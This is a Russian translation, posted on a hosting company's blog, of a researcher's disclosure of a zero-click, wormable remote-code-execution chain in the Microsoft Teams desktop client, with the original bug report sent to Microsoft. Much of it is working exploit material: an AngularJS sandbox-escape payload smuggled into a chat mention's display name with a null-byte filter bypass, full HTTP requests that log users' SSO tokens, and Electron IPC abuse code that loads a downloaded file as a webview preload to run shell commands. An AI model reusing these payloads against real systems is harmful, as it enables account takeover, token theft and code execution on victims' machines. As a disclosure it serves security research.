Как стать автором
Обновить
0
VDSina.ru
Серверы в Москве и Амстердаме

Мы нашли опасную уязвимость в Microsoft Teams, но компания устранила её только спустя два месяца

Время на прочтение14 мин
Количество просмотров7.4K
Автор оригинала: Oskarsve

TL;DR:

  • 31 августа 2020 года мы сообщили о критически опасных багах исполнения удалённого кода в Microsoft Teams.
  • 30 сентября 2020 года Microsoft присвоила им рейтинг «Important, Spoofing» («Важно, спуфинг») — один из наиболее низких.
  • В нашей команде мгновенно родилась новая шутка.
  • Microsoft отказалась подробно обсуждать воздействие этих багов, окончательное решение принято 19 ноября 2020 года
  • «Что касается CVE, в настоящее время политика Microsoft заключается в том, чтобы не публиковать CVE продуктов, автоматически обновляемых без действий пользователя», — 30 ноября 2020 года
  • Баги устранены к концу октября 2020 года

Рейтинг Microsoft Security Response Center — «Important, Spoofing»


Microsoft приняла эту цепочку багов в баунти-программу облачных багов O365 как «Important» (уровень серьёзности), «Spoofing» (воздействие). Это один из самых низких рейтингов.

По крайней мере, теперь в нашем коллективе появилась новая шутка — когда мы находим баг исполнения удалённого кода (remote code execution, RCE), мы называем его «Important, Spoofing». Спасибо, Microsoft!

Если быть полностью честными, то для десктопного приложения был присвоен отдельный рейтинг «Critical, Remote Code Execution», но только за «очки Microsoft»! Очки Microsoft позволяют вам попасть в таблицу лидеров MSRC.

В этой статье мы расскажем об одном из пяти переданных в MSRC цепочек багов исполнения удалённого кода Microsoft Teams, требующих одного нажатия или не требующих нажатий вообще («Important, Spoofing»).

Благодарим Оскарса Вегериса.

Воздействие бага — исполнение удалённого кода, не требующее действий пользователя


  • Нападающий отправляет или редактирует уже имеющееся сообщение, которое выглядит для жертвы совершенно обычным.
  • Жертва исполняет код, просто просмотрев сообщение.

Вот и всё. Со стороны жертвы больше не требуется никакого вмешательства. Теперь внутренняя сеть вашей компании, личные документы, документы/почта/заметки O365, секретные чаты полностью скомпрометированы. Подумайте об этом. Одно сообщение, один канал, никакого взаимодействия. Все подвергаются эксплойту.

Объясним немного подробнее. Что если получатели затем автоматически опубликуют это сообщение в своих командах и каналах? Эксплойт распространяется на всех. Вы знали, что можете быть гостем в других организациях? Вероятно, в вашей организации есть несколько гостей. С большой вероятностью они находятся в собственных организациях, и эти организации, вероятно, имеют собственных гостей, у которых есть свои организации, которые… Да, этот баг можно превратить в червя, распространяемого по сети Microsoft Teams, по крайней мере, в пределах организации.

Демонстрация бага довольно скучна — достаточно просто единственного неинтерактивного HTTP-запроса.


Получив рейтинг «Important, Spoofing», в качестве аргументации для сотрудников MSRC я отправил список пунктов, которые посчитал реальным воздействием бага. Обсуждение было почти несущественным, они просто перетасовывали рейтинги. На каждый ответ требовались недели, и каждый раз мне приходилось напоминать о себе.

Примерно спустя три месяца мы пришли к следующему: к рейтингу «Important, Spoofing» и к тому, что десктопный клиент (исполнение удалённого кода) находится «вне области воздействия» («out of scope»).

Конечно, Microsoft может вывести из области воздействия бага десктопное приложение, что, по моему мнению, абсурдно, поскольку оно рекламируется как основной способ работы с Microsoft Teams… но почему это всего лишь «Важно» и что такое «спуфинг»?

«Important, Spoofing» по пунктам


  • Атака Stored XSS, не требующая вмешательства пользователя. Влияет на все типы потоков сообщений — приватные, потоки, группы и т.д.
  • Самовоспроизводящийся червь — жертва репостит полезную нагрузку всем контактам и группам. Все репостят своим контактам, группам (гости тоже имеют доступ к организациям, а также доступ к собственным организациям, и т.д.)
  • Кража токенов SSO для всех пользователей организации — из XSS, например, при захвате аккаунта, вы получаете доступ ко всем токенам SSO Office 365, то есть доступ ко всей почте, документам, заметкам компании — всему, что есть в O365
  • Доступ к частным перепискам, сообщениям, файлам, логам вызовов и всему остальному, что есть в MS Teams
  • Повышение полномочий до уровня организации MS Teams Admin
  • Доступ к микрофону/камере с помощью XSS (насколько я знаю, по крайней мере, в веб-версиях для Chrome)
  • Кроссплатформенное (macOS, Windows, Linux) исполнение произвольных команд на устройствах жертвы, не требующее участия жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей — доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Кейлоггинг, доступ к микрофону, камере и т.д.

Вы когда-нибудь задавались вопросом, как MS Teams способна «беспроблемно» получать доступ ко всему в вашем O365? Нападающие таким вопросом не задаются — они делают это так же, как это делает Teams.

Что вошло в отчёт


  • Обход защиты от инъекций выражений AngularJS
  • Выход из «песочницы» AngularJS для исполнения произвольного кода JS
  • Обход CSP (с помощью AngularJS)
  • Злоумышленное использование API Microsoft Teams для «скачивания и исполнения файла» с целью реализации RCE
  • Дополнительная универсальная полезная нагрузка Electron [вырезано] для RCE, которая включена во вложения к отчёту в формате видео/медиа
  • Обе полезные нагрузки RCE позволяют обойти защиту приложений Electron, специфичную для Microsoft Teams, однако, вероятно, их можно универсально адаптировать к более старым версиям ElectronJS с похожими защитными ограничениями.

Защита ElectronJS в MS Teams: remote-require отключено и фильтруется, nodeIntegration равно false, создание webview фильтруется и в обычном состоянии удаляет небезопасные параметры/опции. Невозможно просто импортировать child_process и исполнить произвольный код или создать webview с собственной опцией preload.

Демо и RCE


Полезная нагрузка [вырезано], невидимая для жертвы (новое окно не открывается)



Ну да, инъецируемая шаблонная строка видна на долю секунды, но в обычной ситуации пользователь её не увидит. Об этом свидетельствует следующее демо и все остальные шаблонные строки AngularJS, которые вы не видите в Teams. Я связываю этот глитч с HTTP-прокси, общей медленностью приложения, живой перезагрузкой и тем, что это демо, а значит, оно просто обязано иметь ошибки :)

// по требованию Microsoft полезная нагрузка RCE, не создающая новых окон, засекречена примерно до 2021 года

Полезная нагрузка с новым окном



Пустое окно может содержать произвольный контент, иметь любой размер и внешний вид — сейчас оно «подозрительно пустое», потому что это проверка концепции.

Исходный файл MOV находится здесь.

Никакого вмешательства пользователя не требуется, эксплойт исполняется при просмотре сообщения чата. Этот эксплойт обходит ограничения webview и злонамеренно использует API MS Teams для «скачивания» файла и применения его в качестве preload (контекст nodeJS) для webview. Teams фильтрует создание webview, отфильтровывая preload и другие опасные опции, но при таком способе проверку можно обойти. Вероятно, такой же подход можно использовать в более старых приложениях ElectronJS.

cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as required

stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file

// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
    }
)

Ниже показан исходный отчёт о баге, переданный в MSRC


Сводка


В десктопном приложении MS Teams была обнаружена уязвимость Remote Code Execution, которую можно запустить новой инъекцией XSS (Cross-Site Scripting) в teams.microsoft.com. Любому участнику или каналу Microsoft Teams можно отправить специально изготовленное сообщение чата, которое исполнит произвольный код на компьютере пользователя БЕЗ ЕГО УЧАСТИЯ.

Удалось реализовать Remote Code Execution в десктопных приложениях на всех поддерживаемых платформах (Windows, macOS, Linux). Исполнение кода предоставляет нападающим полный доступ к устройствам жертвы, а через эти устройства — и к внутренним сетям компании.

Даже без исполнения произвольного кода в устройстве пользователя при помощи продемонстрированного XSS нападающий может получить токены авторизации SSO для Microsoft Teams и других сервисов Microsoft (например, Skype, Outlook, Office365). Более того, уязвимость к XSS сама по себе позволяет обеспечить доступ к конфиденциальным/приватным перепискам, файлам и т.д. из MS Teams.

Такие атаки могут выполняться гостевыми пользователями совершенно незаметно, без каких-либо действий пользователя или признаков компрометации.

Продукты, подверженные воздействию этого бага:

  • Microsoft Teams (teams.microsoft.com) — Cross-Site Scripting
  • Microsoft Teams macOS v 1.3.00.23764 (последняя на 31.08.2020 версия)
  • Microsoft Teams Windows v 1.3.00.21759 (последняя на 31.08.2020 версия)
  • Microsoft Teams Linux v 1.3.00.16851 (последняя на 31.08.2020 версия)

Воздействие


  • Распространение по типу червя (wormable) — возможность автоматического репоста полезной нагрузки эксплойта в другие компании, каналы и пользователям без действий с их стороны
  • Исполнение произвольных команд в устройствах жертвы без действий со стороны жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей — доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Доступ к токенам SSO, а значит, и к другим сервисам Microsoft (Outlook, Office365 и т.д.)
  • Возможные фишинг-атаки перенаправлением на сайт нападающих или запросом ввода учётных данных SSO
  • Кейлоггинг при помощи специально созданной полезной нагрузки

Описание


Данный отчёт содержит новый вектор XSS и новую полезную нагрузку RCE, которые используются совместно. Они влияют на систему чатов в Microsoft Teams и могут использоваться, например, в личных сообщениях и каналах.

Для реализации RCE в Microsoft Teams используется цепочка из двух уязвимостей:

  • Stored XSS в чате teams.microsoft.com — в функции «упоминания» пользователя
  • Новый кроссплатформенный специально созданный JS-эксплойт для десктопных клиентов MS Teams

Stored XSS в teams.microsoft.com


Как воспроизвести


  1. Ввести сообщение чата в личном общении или в канале, упомянув пользователя или тэг этого чата
  2. Отредактировать сообщение чата, содержащее упоминание, и выполнить перехват при помощи HTTP-прокси наподобие Burp Suite

В функции упоминаний уязвимым параметром является displayName в структуре JSON сообщения { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]".

Запрос должен выглядеть примерно так, обратите внимание на displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

Фильтрацию выражений Angular можно обойти инъекцией символа нулевого байта в Unicode \u0000, например:

{{3*333}\u0000}

Для получения доступа пользователя к локальному хранилищу и всем токенам SSO использовать эту полезную нагрузку в displayName из приведённого выше HTTP-запроса PUT.

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос для логгинга токена SSO:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Этот запрос выполнит логгинг локального хранилища пользователя как доказательство концепции XSS.

Никаких других действий не требуется. Все пользователи в чате начнут выполнять логгинг своих токенов SSO, которые можно извлечь.

Можно проверить это, изучив инструменты разработчика или в десктопной версии Microsoft Teams, или в любом браузере.

Исполнение удалённого кода и полезная нагрузка


Была разработана новая полезная нагрузка исполнения удалённого кода, обходящая все ограничения, реализованные на данный момент (remote require, node integration, фильтрация webview preload и т.д.) в десктопной версии Microsoft Teams. Она должна работать, даже при включении contextIsolation.

cmd = `open /Applications/Calculator.app` // change to windows/linux command as required

stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file

// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
    }
)

Укороченная версия для HTTP-запроса PUT; улучшена тем, что исполняется только один раз на reload:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос с полезной нагрузкой RCE:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: ...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Примечание: следует изменить команду, в коде указана команда для macOS Catalina open /System/Applications/Calculator.app.

Действий пользователя не требуется, простое посещение чата приведёт к исполнению произвольного кода.

Вспомогательные материалы/ссылки:


[1] — Видеодемо, скриншоты

[2] — https://www.electronjs.org/docs/tutorial/security

Информация SSO / cookie


Список идентификаторов токенов SSO в localStorage и параметры cookie, доступные из JavaScript в Microsoft Teams


Токены SSO:

adal.nonce.idtoken
ts.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.token
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectors
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com

Потенциально уязвимые cookies, доступные из JavaScript:

sessionId
TSAUTHCOOKIE
SSOAUTHCOOKIE




На правах рекламы


Эпичные серверы — это VPS для любых задач. Вы можете создать собственный тарифный план, максимальная конфигурация — 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!

Теги:
Хабы:
Всего голосов 33: ↑31 и ↓2+29
Комментарии5

Публикации

Информация

Сайт
vdsina.ru
Дата регистрации
Дата основания
Численность
11–30 человек
Местоположение
Россия
Представитель
Mikhail

Истории